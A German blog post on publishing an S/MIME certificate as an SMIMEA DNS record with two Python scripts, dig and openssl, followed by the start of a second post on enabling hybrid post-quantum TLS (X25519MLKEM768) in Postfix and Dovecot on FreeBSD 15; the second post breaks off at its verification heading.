Mal wieder soweit: Mein aktuelles S/MIME-Zertifikat zum Signieren von E-Mails läuft aus. Also habe ich mir ein neues besorgt. Da GlobalSign keine Class-2-Zertifikate mehr für Privatpersonen anbietet, musste ich die CA wechseln. Durch Zufall bin ich auf [**SSLplus**](https://sslplus.de/) gestoßen – die haben echt gute Angebote für alle möglichen Zertifikate. Aber darum soll es in diesem Beitrag nicht gehen.


Wie immer will ich mein Zertifikat öffentlich zugänglich machen, sonst müsste jeder erst eine von mir signierte E-Mail erhalten, bevor er mein Zertifikat hat. Erst dann könnten Absender mir verschlüsselte E-Mails schicken.


Dafür gibt es ein experimentelles **[RFC 8162](https://datatracker.ietf.org/doc/rfc8162/)**, das beschreibt, wie sich ein solches Zertifikat in einer DNSSEC-geschützten Zone veröffentlichen lässt. Natürlich gibt es im Internet wieder zig verschiedene Anleitungen und Wege, um das zu realisieren. Aber nichts wirklich Zuverlässiges, was ich finden konnte. Den DNS-Record für meine Bind9-Zone wieder manuell zu erstellen, hatte ich jedenfalls keine Lust.


Also habe ich zwei kleine Python3-Skripte geschrieben:


*smimea_generate_record.py* – Erstellt einen kopierbaren RR für die DNS-Zone. Kann interaktiv genutzt werden: Fragt nach E-Mail-Adresse und PEM-Zertifikat. Oder direkt mit Parametern aufgerufen werden. Prüft, ob E-Mail-Adresse und Zertifikat zusammenpassen, und gibt den fertigen Record aus.


```bash
./smimea_generate_record.py
Enter the email address: kernel-error@kernel-error.com
Enter the path to the PEM certificate: mail.pem
✅ Email 'kernel-error@kernel-error.com' matches the certificate!

🔹 **Generated BIND9 DNS Record:**

70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com. 3600 IN SMIMEA 3 0 0 (
30820714308204FCA003020102021073C13C478DA7B114B871F00737F1B0FB30
0D06092A864886F70D01010B0500304E310B300906035504061302504C312130
1F060355040A0C1841737365636F20446174612053797374656D7320532E412E
311C301A06035504030C1343657274756D20534D494D4520525341204341301E
170D3235303331333133343135355A170D3237303331333133343135345A3078
3114301206035504040C0B76616E206465204D65657231123010060355042A0C
0953656261737469616E311E301C06035504030C1553656261737469616E2076
616E206465204D656572312C302A06092A864886F70D010901161D6B65726E65
6C2D6572726F72406B65726E656C2D6572726F722E636F6D30820222300D0609
2A864886F70D01010105000382020F003082020A0282020100D0A90BC53ABA04
08543FE600F0F71C17BE7EB4A8996A8EF5E9122AAC8E7F39D627186617C4D6CA
734E1A9E6302F8076065EA93D762542D2C12BFF32D5D4942B9A8AA84E2E63CE9
B843C1665C014A6572A42E376ED0629694FCC942FE53D76052A40CDAB1257A1D
501D9C65DE18F27C5490A24181498A202E56F4DC0FDCBFE94766F96EBF47C872
3744ABD69DC684417106DF3D4F12FD52A13B786490366DBF6CB5A843621CD686
B06D072FD7D486BD0AC706021D137A365718DCD8709D55B64428F8DB56B268BD
BED463A25231B40566C041A48958BE1767E27E21881D2109935C02F27EA306B6
4997683EEFDF8685F4F090AB09692F232CD34AC7FF2296768CED62C68C37B4C3
DD9F04EC9F5C9BB9F712A5032AC2F83D68DA756E4F2886A6F65889CFAEA0C15E
3624EA3D9E3EFF91D68606F7B7B1B7120035AD4F71369E6D79977B4B2CC3575A
C51CAF419E795B78822DD36B6D0B0E4622BCE55F7B27FCB52FDCD6A4FBD33EF0
9F897CADA2E793D1509DE54773B3FBE9091CEA2E27A41CBA38A08BBBE1B15BF5
6EB35B21D66F5B1B1CC6FDD6362AA88A4010F3D2732F071A841BC765D6F74C3B
430D036A327918D08156BA2882D78113DD15633599319F4BD5D4F12E1F0102BA
33766ADF09DC58323246D20BAC815BE5B8822C260EFBB07ADBAB98FA42F31650
FEFAE5D679D4AD29992F199D59F38D54988D77B61E740CBF470203010001A382
01C2308201BE300C0603551D130101FF0402300030410603551D1F043A303830
36A034A0328630687474703A2F2F63736D696D6572736163612E63726C2E6365
7274756D2E706C2F63736D696D6572736163612E63726C30818306082B060105
0507010104773075302E06082B060105050730018622687474703A2F2F63736D
696D6572736163612E6F6373702D63657274756D2E636F6D304306082B060105
050730028637687474703A2F2F63736D696D6572736163612E7265706F736974
6F72792E63657274756D2E706C2F63736D696D6572736163612E636572301F06
03551D2304183016801466FBC30FBEF4BFE09CC9AB4DDE4719BDC0CAA668301D
0603551D0E041604148D8C102E11D87004F7DDB4E04FF01781888A32A0304C06
03551D20044530433009060767810C010504023036060B2A84680186F6770264
01013027302506082B06010505070201161968747470733A2F2F7777772E6365
7274756D2E706C2F435053301D0603551D250416301406082B06010505070304
06082B06010505070302300E0603551D0F0101FF0404030204F030280603551D
110421301F811D6B65726E656C2D6572726F72406B65726E656C2D6572726F72
2E636F6D300D06092A864886F70D01010B0500038202010070724799F05CF4C8
21854F43BD950BB608B989046349214F9D0EEC79F73A59DBF4063608FE5A7A7F
A50CD46A15486018EB9C334418084D8F97FE32EA21CCBAFE902BF6472DB6CA60
D79EBE09919AFA0652D92CB13B506400BAF4774F3263967A49548A6F723ADCBB
715AF79705099E5EC84E283DAFA3465908F4148C2B153C41D051C94295D4F042
54217D1C8E48DF59D92ECBCB4A872EC728A954DAF7B661DE8037F7F103393612
14163901ACFE98F3D597A67DBE87A8EE1FEC33DB71712F4907E0F3B1171E9176
158189AC8229B26B369C0FE2BBD5964CA2ABFC7D955485056102844E84E8F79E
0F30BF41D5F42B3C4F4CCA9BF9334D5728518473A0E61A3AFC88F59034F27154
6B5D806D86F1E8BC6B54B4E05F80C44835DCC2C534E419F63BBFDB305C1733B4
2DD2CC5795876F004F18C2E4D64B2C9FC6939590BE32501B6A6CEDB19B5FBF47
887C76E14C99A36D46E99B5C76782E4E345ECB37E8886303C84849ADC8BDE1AF
4E3A8096AEE407A40699D5C000ADCD16A4805DDF8FB208FFB902EF14031CFFBE
3C0DC03588EBF15557B3B1029B2CD196064BC0DEE1F11D12391825B86CB34A6F
BEBBAD43B0FE0EA43301F93D0B26ACED182B1E27063AE578C003D4D4498132B8
D980532754CFFBD9E6D8917615B62AE08295FC46391AA0FD9815FDD822D95E9B
7573CA35477D59B98DE4852065F58FB60E0E620D3E2F5CAD
)

```


*smimea_lookup.py* – Fragt den SMIMEA-Record im DNS ab, lädt das Zertifikat herunter und prüft es mit OpenSSL auf Gültigkeit. Funktioniert interaktiv oder mit übergebenen Werten.


```bash
./smimea_lookup.py
Enter the email address: kernel-error@kernel-error.com

Querying DNS for SMIMEA record:
70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com

Certificate saved as smimea_cert.der
Certificate successfully retrieved and verified:

Certificate:
Data:
Version: 3 (0x2)
Serial Number:
73:c1:3c:47:8d:a7:b1:14:b8:71:f0:07:37:f1:b0:fb
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = PL, O = Asseco Data Systems S.A., CN = Certum SMIME RSA CA
Validity
Not Before: Mar 13 13:41:55 2025 GMT
Not After : Mar 13 13:41:54 2027 GMT
Subject: SN = van de Meer, GN = Sebastian, CN = Sebastian van de Meer, emailAddress = kernel-error@kernel-error.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (4096 bit)
Modulus:
00:d0:a9:0b:c5:3a:ba:04:08:54:3f:e6:00:f0:f7:
1c:17:be:7e:b4:a8:99:6a:8e:f5:e9:12:2a:ac:8e:
7f:39:d6:27:18:66:17:c4:d6:ca:73:4e:1a:9e:63:
02:f8:07:60:65:ea:93:d7:62:54:2d:2c:12:bf:f3:
2d:5d:49:42:b9:a8:aa:84:e2:e6:3c:e9:b8:43:c1:
66:5c:01:4a:65:72:a4:2e:37:6e:d0:62:96:94:fc:
c9:42:fe:53:d7:60:52:a4:0c:da:b1:25:7a:1d:50:
1d:9c:65:de:18:f2:7c:54:90:a2:41:81:49:8a:20:
2e:56:f4:dc:0f:dc:bf:e9:47:66:f9:6e:bf:47:c8:
72:37:44:ab:d6:9d:c6:84:41:71:06:df:3d:4f:12:
fd:52:a1:3b:78:64:90:36:6d:bf:6c:b5:a8:43:62:
1c:d6:86:b0:6d:07:2f:d7:d4:86:bd:0a:c7:06:02:
1d:13:7a:36:57:18:dc:d8:70:9d:55:b6:44:28:f8:
db:56:b2:68:bd:be:d4:63:a2:52:31:b4:05:66:c0:
41:a4:89:58:be:17:67:e2:7e:21:88:1d:21:09:93:
5c:02:f2:7e:a3:06:b6:49:97:68:3e:ef:df:86:85:
f4:f0:90:ab:09:69:2f:23:2c:d3:4a:c7:ff:22:96:
76:8c:ed:62:c6:8c:37:b4:c3:dd:9f:04:ec:9f:5c:
9b:b9:f7:12:a5:03:2a:c2:f8:3d:68:da:75:6e:4f:
28:86:a6:f6:58:89:cf:ae:a0:c1:5e:36:24:ea:3d:
9e:3e:ff:91:d6:86:06:f7:b7:b1:b7:12:00:35:ad:
4f:71:36:9e:6d:79:97:7b:4b:2c:c3:57:5a:c5:1c:
af:41:9e:79:5b:78:82:2d:d3:6b:6d:0b:0e:46:22:
bc:e5:5f:7b:27:fc:b5:2f:dc:d6:a4:fb:d3:3e:f0:
9f:89:7c:ad:a2:e7:93:d1:50:9d:e5:47:73:b3:fb:
e9:09:1c:ea:2e:27:a4:1c:ba:38:a0:8b:bb:e1:b1:
5b:f5:6e:b3:5b:21:d6:6f:5b:1b:1c:c6:fd:d6:36:
2a:a8:8a:40:10:f3:d2:73:2f:07:1a:84:1b:c7:65:
d6:f7:4c:3b:43:0d:03:6a:32:79:18:d0:81:56:ba:
28:82:d7:81:13:dd:15:63:35:99:31:9f:4b:d5:d4:
f1:2e:1f:01:02:ba:33:76:6a:df:09:dc:58:32:32:
46:d2:0b:ac:81:5b:e5:b8:82:2c:26:0e:fb:b0:7a:
db:ab:98:fa:42:f3:16:50:fe:fa:e5:d6:79:d4:ad:
29:99:2f:19:9d:59:f3:8d:54:98:8d:77:b6:1e:74:
0c:bf:47
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 CRL Distribution Points:
Full Name:
URI:http://csmimersaca.crl.certum.pl/csmimersaca.crl
Authority Information Access:
OCSP - URI:http://csmimersaca.ocsp-certum.com
CA Issuers - URI:http://csmimersaca.repository.certum.pl/csmimersaca.cer
X509v3 Authority Key Identifier:
66:FB:C3:0F:BE:F4:BF:E0:9C:C9:AB:4D:DE:47:19:BD:C0:CA:A6:68
X509v3 Subject Key Identifier:
8D:8C:10:2E:11:D8:70:04:F7:DD:B4:E0:4F:F0:17:81:88:8A:32:A0
X509v3 Certificate Policies:
Policy: 2.23.140.1.5.4.2
Policy: 1.2.616.1.113527.2.100.1.1
CPS: https://www.certum.pl/CPS
X509v3 Extended Key Usage:
E-mail Protection, TLS Web Client Authentication
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
X509v3 Subject Alternative Name:
email:kernel-error@kernel-error.com
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
70:72:47:99:f0:5c:f4:c8:21:85:4f:43:bd:95:0b:b6:08:b9:
89:04:63:49:21:4f:9d:0e:ec:79:f7:3a:59:db:f4:06:36:08:
fe:5a:7a:7f:a5:0c:d4:6a:15:48:60:18:eb:9c:33:44:18:08:
4d:8f:97:fe:32:ea:21:cc:ba:fe:90:2b:f6:47:2d:b6:ca:60:
d7:9e:be:09:91:9a:fa:06:52:d9:2c:b1:3b:50:64:00:ba:f4:
77:4f:32:63:96:7a:49:54:8a:6f:72:3a:dc:bb:71:5a:f7:97:
05:09:9e:5e:c8:4e:28:3d:af:a3:46:59:08:f4:14:8c:2b:15:
3c:41:d0:51:c9:42:95:d4:f0:42:54:21:7d:1c:8e:48:df:59:
d9:2e:cb:cb:4a:87:2e:c7:28:a9:54:da:f7:b6:61:de:80:37:
f7:f1:03:39:36:12:14:16:39:01:ac:fe:98:f3:d5:97:a6:7d:
be:87:a8:ee:1f:ec:33:db:71:71:2f:49:07:e0:f3:b1:17:1e:
91:76:15:81:89:ac:82:29:b2:6b:36:9c:0f:e2:bb:d5:96:4c:
a2:ab:fc:7d:95:54:85:05:61:02:84:4e:84:e8:f7:9e:0f:30:
bf:41:d5:f4:2b:3c:4f:4c:ca:9b:f9:33:4d:57:28:51:84:73:
a0:e6:1a:3a:fc:88:f5:90:34:f2:71:54:6b:5d:80:6d:86:f1:
e8:bc:6b:54:b4:e0:5f:80:c4:48:35:dc:c2:c5:34:e4:19:f6:
3b:bf:db:30:5c:17:33:b4:2d:d2:cc:57:95:87:6f:00:4f:18:
c2:e4:d6:4b:2c:9f:c6:93:95:90:be:32:50:1b:6a:6c:ed:b1:
9b:5f:bf:47:88:7c:76:e1:4c:99:a3:6d:46:e9:9b:5c:76:78:
2e:4e:34:5e:cb:37:e8:88:63:03:c8:48:49:ad:c8:bd:e1:af:
4e:3a:80:96:ae:e4:07:a4:06:99:d5:c0:00:ad:cd:16:a4:80:
5d:df:8f:b2:08:ff:b9:02:ef:14:03:1c:ff:be:3c:0d:c0:35:
88:eb:f1:55:57:b3:b1:02:9b:2c:d1:96:06:4b:c0:de:e1:f1:
1d:12:39:18:25:b8:6c:b3:4a:6f:be:bb:ad:43:b0:fe:0e:a4:
33:01:f9:3d:0b:26:ac:ed:18:2b:1e:27:06:3a:e5:78:c0:03:
d4:d4:49:81:32:b8:d9:80:53:27:54:cf:fb:d9:e6:d8:91:76:
15:b6:2a:e0:82:95:fc:46:39:1a:a0:fd:98:15:fd:d8:22:d9:
5e:9b:75:73:ca:35:47:7d:59:b9:8d:e4:85:20:65:f5:8f:b6:
0e:0e:62:0d:3e:2f:5c:ad

```


Beide Skripte findet ihr auf **[GitHub](https://github.com/Kernel-Error/smimea-tools)**, damit ihr sie nutzen oder verbessern könnt.


Warum habe ich geschrieben, dass ich nichts Zuverlässiges finden konnte? Nun, oft stoße ich auf Anleitungen, die noch auf TYPE53 basieren. Das ist nötig, wenn Bind9 den eigentlichen RR-Type noch nicht kennt – also ein klares Zeichen dafür, dass es sich um eine sehr frühe Implementierung handelt.


Ein weiteres häufiges Problem: Der Hash des Local-Parts wird einfach weggelassen. Stattdessen erfolgen die Abfragen direkt auf _smimecert., was aber falsch ist. Ohne den SHA256-Hash des Local-Parts gibt es keine eindeutige Zuordnung zur jeweiligen E-Mail-Adresse.


Warum ist der SMIMEA-DNS-Record so aufgebaut? Ganz einfach:


Der erste Teil, also , sorgt dafür, dass nicht einfach jeder direkt aus der DNS-Zone die E-Mail-Adressen auslesen kann. Statt die E-Mail-Adresse im Klartext zu speichern, wird stattdessen nur der SHA256-Hash des Local-Parts (also der Teil vor dem @) genutzt. Das bedeutet: Wer die genaue E-Mail-Adresse kennt, kann den passenden DNS-Eintrag finden – aber jemand, der einfach nur blind durch die Zone scannt, sieht nur Hashes und kann damit nichts anfangen.


Der _smimecert-Prefix zeigt an, dass es sich um einen SMIMEA-Record handelt, ähnlich wie es bei ._tcp. für SRV-Records oder _acme-challenge. für Let's Encrypt-Zertifikate der Fall ist.


Und schließlich kommt die Domain, zu der die E-Mail-Adresse gehört.


Zusammen ergibt das einen sicheren, einfach abfragbaren und nicht direkt durchsuchbaren DNS-Eintrag für dein S/MIME-Zertifikat.


Möchte man die Abfrage manuell mit dig für die E-Mail-Adresse „kernel-error@kernel-error.com“ durchführen, muss man zuerst den Local-Part der E-Mail-Adresse (kernel-error) mit SHA256 hashen. Laut RFC 8162, Abschnitt 3.1 wird der SHA-256-Hash auf die ersten 28 Bytes (56 Hex-Zeichen) gekürzt, um die DNS-Label-Längenbeschränkung von 63 Zeichen pro Label (RFC 1035, Abschnitt 2.3.4) einzuhalten.


```bash
echo -n "kernel-error" | sha256sum | awk '{print $1}' | cut -c1-56
70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0
```


Anschließend kann man die dig-Abfrage korrekt zusammensetzen:


```bash
dig +dnssec +short 70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com. SMIMEA
3 0 0 30820714308204FCA003020102021073C13C478DA7B114B871F00737 F1B0FB300D06092A864886F70D01010B0500304E310B300906035504 061302504C3121301F060355040A0C1841737365636F204461746120 53797374656D7320532E412E311C301A06035504030C134365727475 6D20534D494D4520525341204341301E170D32353033313331333431 35355A170D3237303331333133343135345A30783114301206035504 040C0B76616E206465204D65657231123010060355042A0C09536562 61737469616E311E301C06035504030C1553656261737469616E2076 616E206465204D656572312C302A06092A864886F70D010901161D6B 65726E656C2D6572726F72406B65726E656C2D6572726F722E636F6D 30820222300D06092A864886F70D01010105000382020F003082020A 0282020100D0A90BC53ABA0408543FE600F0F71C17BE7EB4A8996A8E F5E9122AAC8E7F39D627186617C4D6CA734E1A9E6302F8076065EA93 D762542D2C12BFF32D5D4942B9A8AA84E2E63CE9B843C1665C014A65 72A42E376ED0629694FCC942FE53D76052A40CDAB1257A1D501D9C65 DE18F27C5490A24181498A202E56F4DC0FDCBFE94766F96EBF47C872 3744ABD69DC684417106DF3D4F12FD52A13B786490366DBF6CB5A843 621CD686B06D072FD7D486BD0AC706021D137A365718DCD8709D55B6 4428F8DB56B268BDBED463A25231B40566C041A48958BE1767E27E21 881D2109935C02F27EA306B64997683EEFDF8685F4F090AB09692F23 2CD34AC7FF2296768CED62C68C37B4C3DD9F04EC9F5C9BB9F712A503 2AC2F83D68DA756E4F2886A6F65889CFAEA0C15E3624EA3D9E3EFF91 D68606F7B7B1B7120035AD4F71369E6D79977B4B2CC3575AC51CAF41 9E795B78822DD36B6D0B0E4622BCE55F7B27FCB52FDCD6A4FBD33EF0 9F897CADA2E793D1509DE54773B3FBE9091CEA2E27A41CBA38A08BBB E1B15BF56EB35B21D66F5B1B1CC6FDD6362AA88A4010F3D2732F071A 841BC765D6F74C3B430D036A327918D08156BA2882D78113DD156335 99319F4BD5D4F12E1F0102BA33766ADF09DC58323246D20BAC815BE5 B8822C260EFBB07ADBAB98FA42F31650FEFAE5D679D4AD29992F199D 59F38D54988D77B61E740CBF470203010001A38201C2308201BE300C 0603551D130101FF0402300030410603551D1F043A30383036A034A0 328630687474703A2F2F63736D696D6572736163612E63726C2E6365 7274756D2E706C2F63736D696D6572736163612E63726C3081830608 2B0601050507010104773075302E06082B0601050507300186226874 74703A2F2F63736D696D6572736163612E6F6373702D63657274756D 2E636F6D304306082B060105050730028637687474703A2F2F63736D 696D6572736163612E7265706F7369746F72792E63657274756D2E70 6C2F63736D696D6572736163612E636572301F0603551D2304183016 801466FBC30FBEF4BFE09CC9AB4DDE4719BDC0CAA668301D0603551D 0E041604148D8C102E11D87004F7DDB4E04FF01781888A32A0304C06 03551D20044530433009060767810C010504023036060B2A84680186 F677026401013027302506082B06010505070201161968747470733A 2F2F7777772E63657274756D2E706C2F435053301D0603551D250416 301406082B0601050507030406082B06010505070302300E0603551D 0F0101FF0404030204F030280603551D110421301F811D6B65726E65 6C2D6572726F72406B65726E656C2D6572726F722E636F6D300D0609 2A864886F70D01010B0500038202010070724799F05CF4C821854F43 BD950BB608B989046349214F9D0EEC79F73A59DBF4063608FE5A7A7F A50CD46A15486018EB9C334418084D8F97FE32EA21CCBAFE902BF647 2DB6CA60D79EBE09919AFA0652D92CB13B506400BAF4774F3263967A 49548A6F723ADCBB715AF79705099E5EC84E283DAFA3465908F4148C 2B153C41D051C94295D4F04254217D1C8E48DF59D92ECBCB4A872EC7 28A954DAF7B661DE8037F7F10339361214163901ACFE98F3D597A67D BE87A8EE1FEC33DB71712F4907E0F3B1171E9176158189AC8229B26B 369C0FE2BBD5964CA2ABFC7D955485056102844E84E8F79E0F30BF41 D5F42B3C4F4CCA9BF9334D5728518473A0E61A3AFC88F59034F27154 6B5D806D86F1E8BC6B54B4E05F80C44835DCC2C534E419F63BBFDB30 5C1733B42DD2CC5795876F004F18C2E4D64B2C9FC6939590BE32501B 6A6CEDB19B5FBF47887C76E14C99A36D46E99B5C76782E4E345ECB37 E8886303C84849ADC8BDE1AF4E3A8096AEE407A40699D5C000ADCD16 A4805DDF8FB208FFB902EF14031CFFBE3C0DC03588EBF15557B3B102 9B2CD196064BC0DEE1F11D12391825B86CB34A6FBEBBAD43B0FE0EA4 3301F93D0B26ACED182B1E27063AE578C003D4D4498132B8D9805327 54CFFBD9E6D8917615B62AE08295FC46391AA0FD9815FDD822D95E9B 7573CA35477D59B98DE4852065F58FB60E0E620D3E2F5CAD

```


**Was bedeutet das?**
3 → Gibt an, dass es sich um einen S/MIMEA-Record handelt. Die Zahl steht für den sogenannten "Usage"-Wert, also wie das Zertifikat genutzt wird. In diesem Fall bedeutet 3, dass es für eine End-Entity-Zertifizierung gedacht ist, also für die tatsächliche E-Mail-Verschlüsselung und Signatur.

0 → Der "Selector"-Wert. Hier steht 0, was bedeutet, dass der gesamte Public Key aus dem Zertifikat gespeichert wird. Alternativ könnte 1 stehen, dann wäre nur der "Subject Public Key Info"-Teil enthalten.

0 → Gibt an, welche Hash-Funktion verwendet wird. Ist es 1, steht es für SHA-256 steht. Alternativ könnte 2 für SHA-512 verwendet werden oder, wie in unserem Fall 0, was für das komplette Zertifikat steht.

Hexwerte → Das ist der eigentliche Zertifikatsinhalt, also der öffentliche Schlüssel in hexadezimaler Darstellung.


Möchte man den kompletten DNS-Record einmal manuell auf der Konsole prüfen, geht das wie folgt:


```bash
dig +short 70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com SMIMEA | sed 's/^3 0 0 //' | tr -d '[:space:]' > dns_cert.hex
```


Damit holen wir uns den SMIMEA-Eintrag, entfernen die vorderen 3 0 0, da diese nur die Nutzungsparameter angeben, und speichern den reinen HEX-Wert in eine Datei.


```bash
xxd -r -p dns_cert.hex dns_cert.der
```


Hier wandeln wir den HEX-String in eine binäre DER-Datei um.


```bash
openssl x509 -inform DER -in dns_cert.der -text -noout
```


So kann man sich das Zertifikat im lesbaren Format anzeigen lassen.


**Und nun?**


SMIMEA ist leider noch immer nicht besonders weit verbreitet. Das liegt sicherlich daran, dass das RFC noch immer experimental ist, aber auch daran, dass es auf weiteren Techniken aufbaut, die ebenfalls eher selten genutzt werden. So braucht man SMIMEA nur, wenn man überhaupt selbst ein S/MIME-Zertifikat zur Signatur und Verschlüsselung von E-Mails verwendet. Zusätzlich muss die Domain per DNSSEC geschützt sein – was noch weniger verbreitet ist – und dann muss auch noch der zusätzliche Mehrwert von SMIMEA verstanden werden.


Denn SMIMEA verteilt nicht nur die Zertifikate, sondern macht einen direkt initial verschlüsselt erreichbar. Wenn man der Empfänger einer solchen signierten Nachricht ist, kann man das Zertifikat zudem gegen eine vertrauenswürdige DNS-Zone halten und sich so vergewissern, dass es wirklich die Signatur des Absenders ist – ähnlich wie bei TLSA/DANE.


Ihr kennt das doch mit der Sicherheit im Internet: Sie ist nur relevant, wenn man damit Geld verdienen kann oder wenn man Opfer geworden ist. Die Implementierung von SMIMEA ist also aktuell sehr überschaubar. Es gibt Milter für beispielsweise Postfix oder Plugins für Thunderbird, aber vor allem im Enterprise-Umfeld ist mir momentan keine funktionierende Lösung bekannt.


Pffff… Eigentlich wollte ich doch nur schnell schreiben, dass ich da zwei Python-Skripte zusammengebastelt habe – und am Ende ist es doch wieder so ein riesiges Ding geworden. 😅


Aber ich denke, vor allem der Teil mit dem gekürzten Hash des Local-Parts der E-Mail-Adresse ist wichtig zu erklären. Das ist echt eine verrückte Konstruktion. Klar, das hat seinen Sinn, aber zumindest ich bin damals genau an diesem Punkt hängen geblieben.


Naja, jetzt könnt ihr die Skripte nutzen und euch den ganzen Fummel selbst auf der CLI anschauen, testen und vor allem auch verstehen.


Viel Spaß! 😃


---


B.t.w.: Das einzig korrekt funktionierende online Tool, was ich finden konnte ist: [https://www.co.tt/smimea.cgi](https://www.co.tt/smimea.cgi)


Alle anderen sind nicht erreichbar, halten sich nicht ans RFC oder ich war zu blöde, sie zu bedienen.


---


## 41. Post-Quantum TLS für E-Mail — Postfix und Dovecot mit X25519MLKEM768 auf FreeBSD 15

**Veröffentlicht:** 2026-02-12
**Permalink:** https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/
**Description:** Postfix und Dovecot auf FreeBSD 15 mit X25519MLKEM768 absichern — hybride Post-Quantum-Verschlüsselung für E-Mail mit nur zwei Zeilen Config.

[Bild: Visualisierung hybrider Post-Quantum-TLS-Verschlüsselung für E-Mail mit X25519MLKEM768 (ML-KEM-768 + X25519) auf Postfix und Dovecot unter FreeBSD 15](https://www.kernel-error.de/wp-content/uploads/2026/02/PQC-postfix-dovecot.png)

Nachdem ich im letzten Beitrag [OpenSSH mit hybriden Post-Quantum-Algorithmen abgesichert](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) habe, lag die Frage nahe: Was ist eigentlich mit E-Mail? Mein FreeBSD 15 liefert **Postfix 3.10.6**, **Dovecot 2.3.21.1** und **OpenSSL 3.5.4** – und genau diese Kombination bringt alles mit, was man für quantensichere Verschlüsselung im Mailverkehr braucht. Ohne zusätzliche Pakete, ohne Patches, ohne Gefrickel.

### Warum überhaupt PQC für E-Mail?

Das „[Store now, decrypt later](https://en.wikipedia.org/wiki/Harvest_now,_decrypt_later)"-Szenario, das ich beim SSH-Beitrag angesprochen habe, trifft auf E-Mail mindestens genauso zu. E-Mails werden über SMTP zwischen Servern transportiert – und dieser Transport ist grundsätzlich abfangbar. Wer heute TLS-verschlüsselten Mailverkehr mitschneidet und archiviert, könnte diesen in einigen Jahren mit einem ausreichend leistungsfähigen Quantencomputer entschlüsseln. Zumindest theoretisch.

Heißt das, morgen liest jemand eure Mails? Nein. Aber wenn ihr vertrauliche Kommunikation betreibt und die heute eingesetzte Kryptografie in zehn Jahren noch standhalten soll, ist jetzt der richtige Zeitpunkt zum Handeln. Zumal der Aufwand (wie ihr gleich seht) überschaubar ist.

### Was steckt hinter X25519MLKEM768?

Kurz zur Einordnung: [**ML-KEM**](https://en.wikipedia.org/wiki/ML-KEM) (ehemals CRYSTALS-Kyber) ist der vom NIST im August 2024 standardisierte Post-Quantum-Algorithmus für den Schlüsselaustausch ([FIPS 203](https://csrc.nist.gov/pubs/fips/203/final)). **X25519MLKEM768** ist ein sogenannter Hybrid-Algorithmus – er kombiniert das klassische X25519 ([Curve25519](https://en.wikipedia.org/wiki/Curve25519) ECDH) mit ML-KEM-768 zu einem gemeinsamen Schlüssel.

Der Clou dabei: Selbst wenn ML-KEM irgendwann gebrochen werden sollte, bleibt die klassische X25519-Komponente intakt. Und umgekehrt. Man muss also nicht darauf vertrauen, dass der neue Algorithmus auch wirklich hält – man bekommt das Beste aus beiden Welten.

Wer Firefox nutzt, hat das übrigens vermutlich schon in Aktion gesehen: Seit Firefox 124 wird bei TLS 1.3 standardmäßig **X25519MLKEM768** für den Schlüsselaustausch verwendet. Schaut mal in die Verbindungsdetails einer HTTPS-Seite – die Chancen stehen gut, dass dort bereits ein hybrider PQC-Schlüsselaustausch stattfindet. Also, wenn der Server das anbietet, wie dieser hier *zwinker*.

### Voraussetzungen prüfen

Bevor ihr konfiguriert, solltet ihr sicherstellen, dass euer OpenSSL ML-KEM überhaupt kann. Auf meinem FreeBSD 15:

```
$ openssl version
OpenSSL 3.5.4 30 Sep 2025 (Library: OpenSSL 3.5.4 30 Sep 2025)
```

Und dann die entscheidende Frage – kennt OpenSSL die benötigten KEM-Algorithmen?

```
$ openssl list -kem-algorithms | grep -i mlkem
ML-KEM-512
ML-KEM-768
ML-KEM-1024
X25519MLKEM768
SecP256r1MLKEM768
```

Wenn **X25519MLKEM768** in der Liste auftaucht, seid ihr startklar. Das ist bei OpenSSL ab Version 3.5 der Fall – der ML-KEM-Support ist im Default-Provider enthalten, es wird kein zusätzlicher OQS-Provider und kein liboqs benötigt.

Noch ein Check – sind die Algorithmen auch als TLS-Gruppen verfügbar?

```
$ openssl list -tls-groups | grep -i mlkem
X25519MLKEM768
SecP256r1MLKEM768
SecP384r1MLKEM1024
```

Perfekt. Weiter geht's.

### Postfix konfigurieren

Postfix steuert die verwendeten TLS-Gruppen für den Schlüsselaustausch über den Parameter **tls_eecdh_auto_curves**. Dieser gilt sowohl für eingehende (smtpd) als auch für ausgehende (smtp) Verbindungen.

Vorher:

```
tls_eecdh_auto_curves = X25519, prime256v1, secp384r1
```

Nachher:

```
tls_eecdh_auto_curves = X25519MLKEM768, X25519, prime256v1, secp384r1
```

Das war's. Eine Zeile. **X25519MLKEM768** wird als bevorzugte Gruppe an den Anfang gestellt, die klassischen Kurven bleiben als Fallback erhalten. Clients die kein ML-KEM beherrschen, verhandeln einfach X25519 oder prime256v1 – die Abwärtskompatibilität bleibt also vollständig gewahrt.

Die Änderung setzt ihr entweder direkt in `/usr/local/etc/postfix/main.cf` oder über:

```
# postconf "tls_eecdh_auto_curves = X25519MLKEM768, X25519, prime256v1, secp384r1"
# postfix reload
```

**Wichtig:** Dieser Parameter beeinflusst alle Postfix-Dienste – SMTP (Port 25), Submission (Port 587) und SMTPS (Port 465). Ihr müsst also nicht jeden Port einzeln konfigurieren.

### Dovecot konfigurieren

Dovecot verwendet den Parameter **ssl_curve_list** um die TLS-Gruppen für IMAP-Verbindungen festzulegen. Standardmäßig ist dieser leer, was bedeutet, dass OpenSSL seine eigenen Defaults verwendet. Das *kann* funktionieren, muss aber nicht.

In `/usr/local/etc/dovecot/conf.d/10-ssl.conf`:

```
ssl_curve_list = X25519MLKEM768:X25519:prime256v1:secp384r1
```

Achtung: Dovecot verwendet **Doppelpunkte** als Trennzeichen (OpenSSL-Syntax), Postfix verwendet **Kommas**. Nicht verwechseln. Ja, passiert mir oft :-D

Danach:

```
# doveadm reload
```

### Überprüfen

